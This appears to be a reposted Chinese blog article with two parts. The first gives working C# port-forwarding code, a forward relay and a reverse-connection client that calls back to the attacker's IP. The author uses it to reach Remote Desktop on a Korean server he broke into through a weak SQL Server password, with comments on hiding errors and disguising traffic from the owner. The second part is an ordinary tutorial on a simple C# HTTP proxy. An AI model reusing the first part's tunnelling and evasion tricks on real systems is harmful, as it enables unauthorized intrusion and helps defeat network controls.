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【转】c#做端口转发程序支持正向连接和反向链接

2018年02月24日 ⁄ 综合 ⁄ 共 18405字 ⁄ 字号 评论关闭

http://blog.csdn.net/laotse/article/details/5874778

 

 


例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。

例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。

 

解决

第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。

 

  1. using System;  
  2. using System.Net.Sockets;  
  3. using System.Threading;  
  4.   
  5. namespace PortTransponder  
  6. {  
  7.     class Program  
  8.     {  
  9.         static void Main(string[] args)  
  10.         {  
  11.             TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口  
  12.             tl.Start();  
  13.             while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连  
  14.             {  
  15.                 //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转  
  16.                 try  
  17.                 {  
  18.                     TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu  
  19.                     TcpClient tc2 = new TcpClient("localhost", 3389);  
  20.                     tc1.SendTimeout = 300000;//设定超时,否则端口将一直被占用,即使失去连接  
  21.                     tc1.ReceiveTimeout = 300000;  
  22.                     tc2.SendTimeout = 300000;  
  23.                     tc2.ReceiveTimeout = 300000;  
  24.                     object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  25.                     object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  26.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  27.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  28.                 }  
  29.                 catch { }  
  30.             }  
  31.         }  
  32.         public static void transfer(object obj)  
  33.         {  
  34.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  35.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  36.             NetworkStream ns1 = tc1.GetStream();  
  37.             NetworkStream ns2 = tc2.GetStream();  
  38.             while (true)  
  39.             {  
  40.                 try  
  41.                 {  
  42.                     //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了  
  43.                     byte[] bt = new byte[10240];  
  44.                     int count = ns1.Read(bt, 0, bt.Length);  
  45.                     ns2.Write(bt, 0, count);  
  46.                 }  
  47.                 catch  
  48.                 {  
  49.                     ns1.Dispose();  
  50.                     ns2.Dispose();  
  51.                     tc1.Close();  
  52.                     tc2.Close();  
  53.                     break;  
  54.                 }  
  55.             }  
  56.         }  
  57.     }  
  58. }  

这样在对方机器执行和,直接mstsc /v:对方ip:80就能终端上去了

 

 

第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。

具体流程

本机ip开8080端口

对方机器连接你的8080端口,比如端口是49908

连接成功后

你的机器再开一个比如9833端口

对方机器再开一个连接连接他自己的3389,比如端口是49909吧

好这时你用你的mstsc连接自己的 localhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。

 

  1. //服务器端  
  2. using System;  
  3. using System.Collections.Generic;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangserver  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();  
  12.         public static NetworkStream kongzhins = null;  
  13.         static void Main(string[] args)  
  14.         {  
  15.             ThreadPool.QueueUserWorkItem(new WaitCallback(start1));  
  16.             ThreadPool.QueueUserWorkItem(new WaitCallback(start2));  
  17.             WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });  
  18.         }  
  19.         public static void start1(object obj)  
  20.         {  
  21.             TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口,今天这棒子机器连他只能1433,其他连不上,他连别人只能80 8080 21     
  22.             tl.Start();  
  23.             while (true)  
  24.             {  
  25.                 TcpClient tc = tl.AcceptTcpClient();  
  26.                 jieshou(tc);  
  27.             }  
  28.         }  
  29.         public static void start2(object obj)  
  30.         {  
  31.             TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。     
  32.             tl.Start();  
  33.             while (true)  
  34.             {  
  35.                 TcpClient tc = tl.AcceptTcpClient();  
  36.                 Random rnd = new Random();  
  37.                 int biaoji = rnd.Next(1000000000, 2000000000);  
  38.                 dic.Add(biaoji, tc);  
  39.                 byte[] bt = BitConverter.GetBytes(biaoji);  
  40.                 kongzhins.Write(bt, 0, bt.Length);  
  41.             }  
  42.         }  
  43.         public static void jieshou(TcpClient tc)  
  44.         {  
  45.             //这里体现的是一个配对的问题,自己体会一下吧  
  46.             NetworkStream ns = tc.GetStream();  
  47.             byte[] bt = new byte[4];  
  48.             int count = ns.Read(bt, 0, bt.Length);  
  49.             if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)  
  50.             {  
  51.                 kongzhins = ns;  
  52.             }  
  53.             else  
  54.             {  
  55.                 int biaoji = BitConverter.ToInt32(bt, 0);  
  56.                 lianjie(biaoji, tc);  
  57.             }  
  58.         }  
  59.         public static void lianjie(int biaoji, TcpClient tc1)  
  60.         {  
  61.             TcpClient tc2 = null;  
  62.             if (dic.ContainsKey(biaoji))  
  63.             {  
  64.                 dic.TryGetValue(biaoji, out tc2);  
  65.                 dic.Remove(biaoji);  
  66.                 tc1.SendTimeout = 300000;  
  67.                 tc1.ReceiveTimeout = 300000;  
  68.                 tc2.SendTimeout = 300000;  
  69.                 tc2.ReceiveTimeout = 300000;  
  70.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  71.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  72.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  73.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  74.             }  
  75.         }  
  76.         public static void transfer(object obj)  
  77.         {  
  78.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  79.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  80.             NetworkStream ns1 = tc1.GetStream();  
  81.             NetworkStream ns2 = tc2.GetStream();  
  82.             while (true)  
  83.             {  
  84.                 try  
  85.                 {  
  86.                     //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了  
  87.                     byte[] bt = new byte[10240];  
  88.                     int count = ns1.Read(bt, 0, bt.Length);  
  89.                     ns2.Write(bt, 0, count);  
  90.                 }  
  91.                 catch  
  92.                 {  
  93.                     ns1.Dispose();  
  94.                     ns2.Dispose();  
  95.                     tc1.Close();  
  96.                     tc2.Close();  
  97.                     break;  
  98.                 }  
  99.             }  
  100.         }  
  101.     }  
  102. }  
  1. //客户端  
  2. using System;  
  3. using System.Text;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangclient  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static NetworkStream kongzhins = null;  
  12.         static void Main(string[] args)  
  13.         {  
  14.             try  
  15.             {  
  16.                 TcpClient tc = new TcpClient("你的IP", 8080);  
  17.                 kongzhins = tc.GetStream();  
  18.                 byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示  
  19.                 kongzhins.Write(bt, 0, bt.Length);  
  20.                 jieshou();  
  21.                 WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出  
  22.             }  
  23.             catch { }  
  24.         }  
  25.         public static void jieshou()  
  26.         {  
  27.             while (true)  
  28.             {  
  29.                 byte[] bt = new byte[4];  
  30.                 kongzhins.Read(bt, 0, bt.Length);  
  31.                 TcpClient tc1 = new TcpClient("你的IP", 8080);  
  32.                 TcpClient tc2 = new TcpClient("localhost", 3389);  
  33.                 tc1.SendTimeout = 300000;  
  34.                 tc1.ReceiveTimeout = 300000;  
  35.                 tc2.SendTimeout = 300000;  
  36.                 tc2.ReceiveTimeout = 300000;  
  37.                 tc1.GetStream().Write(bt, 0, bt.Length);  
  38.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  39.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  40.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  41.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  42.             }  
  43.         }  
  44.         public static void transfer(object obj)  
  45.         {  
  46.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  47.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  48.             NetworkStream ns1 = tc1.GetStream();  
  49.             NetworkStream ns2 = tc2.GetStream();  
  50.             while (true)  
  51.             {  
  52.                 try  
  53.                 {  
  54.                     byte[] bt = new byte[10240];  
  55.                     int count = ns1.Read(bt, 0, bt.Length);  
  56.                     ns2.Write(bt, 0, count);  
  57.                 }  
  58.                 catch  
  59.                 {  
  60.                     ns1.Dispose();  
  61.                     ns2.Dispose();  
  62.                     tc1.Close();  
  63.                     tc2.Close();  
  64.                     break;  
  65.                 }  
  66.             }  
  67.         }  
  68.     }  
  69. }  

 

 

 

好,这样你连接mstsc /v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat -an看到的是这种东西

 

 

활성 연결

  프로토콜  로컬 주소           외부 주소              상태

  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING

  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING

  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING

  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING

  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING

  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING

  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING

  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING

  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING

  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING

  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING

  TCP    他的IP:139             0.0.0.0:0              LISTENING

  TCP    他的IP:49908           我的IP:8080            ESTABLISHED

  TCP    [::]:135               [::]:0                 LISTENING

  TCP    [::]:445               [::]:0                 LISTENING

  TCP    [::]:3389              [::]:0                 LISTENING

  TCP    [::]:5357              [::]:0                 LISTENING

  TCP    [::]:49152             [::]:0                 LISTENING

  TCP    [::]:49153             [::]:0                 LISTENING

  TCP    [::]:49154             [::]:0                 LISTENING

  TCP    [::]:49155             [::]:0                 LISTENING

  TCP    [::]:49156             [::]:0                 LISTENING

  TCP    [::]:49157             [::]:0                 LISTENING

  TCP    [::1]:3389             [::1]:49909            ESTABLISHED

  TCP    [::1]:49909            [::1]:3389             ESTABLISHED

  UDP    0.0.0.0:123            *:*

  UDP    0.0.0.0:500            *:*

  UDP    0.0.0.0:1434           *:*

  UDP    0.0.0.0:3702           *:*

  UDP    0.0.0.0:3702           *:*

  UDP    0.0.0.0:4500           *:*

  UDP    0.0.0.0:5355           *:*

  UDP    0.0.0.0:64966          *:*

  UDP    他的IP:137             *:*

  UDP    他的IP:138             *:*

  UDP    [::]:123               *:*

  UDP    [::]:500               *:*

  UDP    [::]:3702              *:*

  UDP    [::]:3702              *:*

  UDP    [::]:5355              *:*

  UDP    [::]:64967             *:*

 

只能看到他的49908在连接我的8080,就像看网站一样,要是80就更像了,而49909连接3389一般注意不到,反正没有ip地址,这棒子想不到吧,他做的这么变态的限制都被终端上去了,起因就是sqlserver弱口令和权限,这个机器是win2008,i7 920的u,不明白棒子的网管为什么一点安全知识都没有,而且屡教不改,上次进去一看,那机器已经被国内黑克给x了n遍了,上边布满了木马,最后实在启动不了了,他重装了,结果那个sqlserver还是那个权限还是那个密码,服气吧。但是如果netstat
-ano发现连我的pid和连3389的pid是一个那就可以发现了。

 

以上程序都是经我测试后非常ok的,但是没有经过优化,尤其是反向连接的,可以做成个服务是吧,或者连接的时候加个验证啦什么的,还有我的Ip地址也是变的,可以做成个服务,定时读取某一网页上我的新ip,告诉他连还是不连啦,什么的。而且还可以做成个http代理翻wall啦,总之花样是很多的。

==============================================================================

 

相信大家都用过代理服务器上过网,哪大家是否知道如何实现呢?通过这篇文章相信有点基础的度可以写出自己的代理服务器

      代理服务程序是一种广泛使用的网络应用程序。代理程序的种类非常多,根据协议不同可以分成HTTP代理服务程序、FTP代理服务程序等,而运行代理服务程序的服务器也就相应称为HTTP代理服务器和FTP代理服务器。本文将介绍的Web代理服务程序代理的是HTTP协议。

  一、网络代理程序的优点

  代理服务所起的是一个桥的作用,它是网络信息的中转站。在网络中应用代理服务一般是基于以下几个原因:

  (1)充分利用IP地址资源。在局域网中,一般对外的IP地址都是非常有限的,为了保证局域网内部的主机都能够访问互联网资源,通过网络代理就可以实现。

  (2)能够保证网络安全。网络代理可以充当内部网和互联网之间的防火墙,通过过滤IP地址,限定某些IP地址对外部资源的访问。

  (3)能够有效地隐藏自己的IP地址和主机名。由于所有对外网的请求都是通过代理服务器实现的,所以目的主机只能知道代理服务器的IP地址。

  (4)提高网络速度。通常代理服务器都设有一个较大的硬盘缓冲区,它存储界数据,当你再访问相同的数据时,则可以直接从缓冲区中取出信息,从而提高访问速度。

  二、网络代理的类型及实现原理

  网络代理服务根据工作层次,一般可分为应用层代理、传输层代理和SOCKS代理。应用层代理是工作在TCP/IP参考模型的应用层之上,它支持对应用层协议(如HTTPFTP)的代理。它提供的控制最多,但是不灵活,必须要有相应的协议支持。如果协议不支持代理(如SMTPPOP),那就只能在应用层以下代理,也即传输层代理。传输层代理直接与TCP层交互,更加灵活。要求代理服务器具有部分真正服务器的功能:监听特定TCPUDP端口,接收客户端的请求同时向客户端发出相应的响应。另一种代理需要改变客户端的IP栈,即SOCKS代理。它是可用的最强大、最灵活的代理标准协议。SOCK
V4
允许代理服务器内部的客户端完全地连接到外部的服务器,SOCK V5增加了对客户端的授权和认证,因此它是一种安全性较高的代理。本节后面介绍的代理是一种应用层上面的代理,所代理的协议是HTTP,也就是经常见到的Web代理。

  正如上面所说,网络代理就是一个连接客户端(需要代理的计算机)和服务器端(提供访问资源的服务器)的桥。要实现这种桥的功能,网络代理就必须满足下列条件,其实也是代理服务的运行的流程:

  (1)接收并解析客户端的请求。

  (2)创建到服务器的新连接,并转发客户端的请求信息。

  (3)接收服务器反馈的信息。

  (4)解释服务器的响应并将该响应传回给客户端。

  网络代理虽然有很多优点,但由于使用代理后,自己对网络的所有请求都是通过代理服务器这个中间人来实现的,所以有可能碰上存有恶意的人监听你的输入的内容。同样,如果选择的代理服务器的带宽比较小,使用代理还会降低网速。

  总而言之,使用代理有利有弊,使用者要根据自身的情况来决定。但无论如何,选择一个好的代理服务器是非常重要的。

  三、C#实现Web代理服务程序

  经过了上面的介绍,我想大家对代理服务应该有了一个基本的认识,下面就让我们通过一个实例来深入体会一下如何用C#实现Web代理服务。Web代理服务的功能顺序是这样的:

  (1)侦听端口,等待客户端浏览器发送来的Web请求信息。

  (2)接收到客户端Web请求信息后,解析出目标Web服务器的地址,并创建一个Socket实例,并以此实例连接Web服务器上。

  (3)通过创建的Socket传送客户端的Web请求数据包到Web服务器的80端口。

  (4)接收Web服务器返回的页面数据。

  (5)把接收来的数据传送到客户端,从而实现Web代理。

  客户端对某个Web地址的浏览,可能要传送很多的Web请求信息(比如网页中的图像、Flash等),为了更快更准确地处理这些信息,Web代理服务程序通常采用多线程来处理每一个Web请求。细心的读者可能会发现,处理每一个客户端的Web请求信息,代理服务器软件都要使用二个Socket,一个是用来接收/传送客户机的信息,一个是和Web服务器进行交流。为了区分这二个Socket,我们把和服务器对话的称为服务Socket”,和客户端机器对话的称为客户Socket”

  下面就开始Web代理服务程序的编写工作。这个实例包含三个部分内容:

  1.创建一个Web代理类。
  2.Web代理服务的类的实例化。
  3.如何通过这个Web代理类的实例实现Web代理服务。

  (一)创建一个Web代理类

  具体操作步骤如下:

  1.启动Visual
Studio.Net
,依次选择文件新建项目菜单后,在弹出新建项目对话框中将项目类型设置为“Visual
C#
项目,将模板设置为“Windows应用程序,在名称文本框中输入“WebProxy”,在位置文本框中输入“E:VS.NET项目,然后单击确定按钮,这样项目便建立好了。
  2.依次选择菜单项目添加类,将弹出添加新项对话框。
  3.模板设置为
  4.名称文本框中输入“Proxy”,单击打开按钮
  5.解决方案资源管理器窗口中,双击Proxy.cs文件,进入Proxy.cs文件的编辑界
  6.Proxy.cs源文件的开头,添加下列代码,下列代码是导入Proxy.cs中要使用到的命名空间:

  using System;
  using System.Net;
  using System.Net.Sockets;
  using System.Text;
  using System.IO;

  7.用下列构造函数替代默认的构造函数。下面的代码是在Proxy类中创建一个构造函数。Proxy类只有一个构造函数,并且这个构造函数只有一个参数,这个参数是Socket对象,它主要用来和客户端进行数据交换,是一个客户Socket”

  public Proxy(Socket socket)
  {
  //
  // TODO: 在此处添加构造函数逻辑
  //
  this.clientSocket = socket ;
  }

  8.在定义Proxy类代码区中加入下列代码,下列代码是定义Proxy类中的使用的一些变量,这些变量主要是在后面的定义Run方法中使用。

  Socket clientSocket;
  Byte[] read = new byte[1024];
  //定义一个空间,存储来自客户端请求数据包
  Byte [] Buffer = null;
  Encoding ASCII = Encoding.ASCII;
  //设定编码
  Byte[] RecvBytes = new Byte[4096];
  //定义一个空间,存储Web服务器返回的数据

  9.创建Proxy类中的Run方法。Run方法是Proxy类中唯一的方法。其功能是从客户端接收HTTP请求,并传送到Web服务器,然后从Web服务器接收反馈来的数据,并传送到客户端。为了实现这二个不同方面的数据传送,Run方法中是通过两个Socket实例来实现的。在编写Run方法的时候,要注意下面两点:

  (1)由于HTTP建立于TCP协议之上,所以创建的Socket实例应该使用TCP协议。下面代码是创建可以传送HTTP请求命令到Web服务器和接收来自Web服务器反馈来信息的Socket实例:

  Socket IPsocket = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);

  (2)另外一个Socket是在代理服务程序侦听端口号,接收连接请求时候得到的,所以应该以此Socket为参数,利用Proxy类中的构造函数来创建一个Proxy实例。此Socket实现从客户端接收HTTP请求信息,并传送数据到客户端。

  Socket创建和使用是实现Web代理软件的关键。在构造函数代码后面,输入下列代码:
  public void Run()
  {
  string clientmessage = " " ;
  //存放来自客户端的HTTP请求字符串
  string URL = " " ;
  //存放解析出地址请求信息
  int bytes = ReadMessage(read, ref clientSocket, ref clientmessage);
  if (bytes == 0)
  {
  return ;
  }
  int index1 = clientmessage.IndexOf(' ');
  int index2 = clientmessage.IndexOf(' ', index1 + 1);
  if ((index1 == -1) || (index2 == -1))
  {
  throw new IOException();
  }
  string part1 = clientmessage.Substring(index1 + 1, index2 - index1);
  int index3 = part1.IndexOf('/', index1 + 8);
  int index4 = part1.IndexOf(' ', index1 + 8);
  int index5 = index4 - index3;
  URL = part1.Substring(index1 + 4, (part1.Length - index5) - 8); 
  try
  {
  IPHostEntry IPHost = Dns.Resolve(URL);
  Console.WriteLine("远程主机名: "
+ IPHost.HostName);
  string [] aliases = IPHost.Aliases;
  IPAddress[] address = IPHost.AddressList;
  Console.WriteLine("Web服务器IP地址:"
+ address[0]);
  //解析出要访问的服务器地址
  IPEndPoint ipEndpoint = new IPEndPoint(address[0], 80);
  Socket IPsocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  //创建连接Web服务器端的Socket对象
  IPsocket.Connect(ipEndpoint);
  //SocketWeb接服务器
  if (IPsocket.Connected)
  Console.WriteLine("Socket 正确连接!");
  string GET = clientmessage;
  Byte[] ByteGet = ASCII.GetBytes(GET);
  IPsocket.Send(ByteGet, ByteGet.Length, 0);
  //代理访问软件对服务器端传送HTTP请求命令
  Int32 rBytes = IPsocket.Receive(RecvBytes, RecvBytes.Length, 0);
  //代理访问软件接收来自Web服务器端的反馈信息
  Console.WriteLine("接收字节数:"
+ rBytes.ToString());
  String strRetPage = null;
  strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, rBytes);
  while (rBytes > 0)
  {
  rBytes = IPsocket.Receive(RecvBytes, RecvBytes.Length, 0);
  strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, rBytes);
  }
  IPsocket.Shutdown(SocketShutdown.Both);
  IPsocket.Close();
  SendMessage(clientSocket, strRetPage);
  //代理服务软件往客户端传送接收到的信息
  }
  catch (Exception exc2)
  
  }
  
  //接收客户端的HTTP请求数据
  private int ReadMessage(byte [] ByteArray, ref Socket s, ref String clientmessage)
  {
  int bytes = s.Receive(ByteArray, 1024, 0);
  string messagefromclient = Encoding.ASCII.GetString(ByteArray);
  clientmessage = (String)messagefromclient;
  return bytes;
  }
  
  //传送从Web服务器反馈的数据到客户端
  private void SendMessage(Socket s, string message)
  {
  Buffer = new Byte[message.Length + 1];
  int length = ASCII.GetBytes(message, 0, message.Length, Buffer, 0);
  Console.WriteLine("传送字节数:"
+ length.ToString());
  s.Send(Buffer, length, 0);
  }

  至此,Proxy类的定义过程就完成了。

  (二)利用Proxy类,实现Web代理

  下面是利用Proxy类实现Web代理程序的具体实现步骤,Proxy类被定义在命名空间WebProxy中:

  1.Visual
Studio .Net
的代码编辑器中打开Class1.cs文件,进入Class1.cs的代码编辑界面。

  2.Class1.cs源文件的开头导入下列命名空间:

  using System;
  using System.Net;
  using System.Net.Sockets;
  using System.Text;
  using System.IO;
  using System.Threading;
  using WebProxy;

  3.Main函数中添加下列代码,下列代码是利用Proxy类,来实现Web代理程序:

  const int port = 8000 ;
  //定义端口号
  TcpListener tcplistener = new TcpListener(port);
  Console.WriteLine("侦听端口号: "
+ port.ToString());
  tcplistener.Start();
  //侦听端口号
  while (true)
  {
  Socket socket = tcplistener.AcceptSocket();
  //并获取传送和接收数据的Scoket实例
  Proxy proxy = new Proxy(socket);
  //Proxy类实例化
  Thread thread = new Thread(new ThreadStart(proxy.Run));
  //创建线程
  thread.Start();
  //启动线程
  }

  保存上面的所有步骤,这样一个简单Web代理程序就算是完成了。此Web代理程序侦听的是8000端口号。

  (三)测试Web代码程序

  Web代理程序要通过二台计算机才能够实现,其中的一台计算机运行Web代理程序充当Web代理服务器,另外一台计算机充当客户机,通过Web代理服务器来浏览网页。在确定Web代理软件运行后,需要对客户机进行进行必要的设置:

  1.打开IE浏览器。

  2.依次选择工具“Internet选项,在弹出的“Internet选项对话框中选择连接页面,单击其中的局域网设置按钮,在弹出的局域网(LAN)设置对话框,选择LAN使用代理服务器(X)(这些设置不会应用于拨号和VPN连接)”多选框,并在其中的地址文本框中输入代理服务器的IP地址,比如“10.138.198.213”,在端口文本框中输入“8000”

  此时客户端的设置就完成了。在确定IP地址为“10.138.198.213”的这台计算机已经运行上面介绍的Web代理程序后,打开客户端的IE浏览器,并输入要浏览的网址,就可以通过Web代理服务器来浏览网页了。

  四、总结

  至此一个简单的Web代理服务软件就算基本完成了。虽然代理服务的实现原理相对简单,但具体实现还是很繁琐的。网络代理是一个内容丰富,实现复杂的论题,本节介绍的代理服务软件,无论在实现的协议种类,还是实现的功能,都只能算很小的一部分。希望各位能够通过本文的介绍,结合其他相关的知识,创造出功能更强大、安全性更高,使用更稳定的网络代理服务程序来

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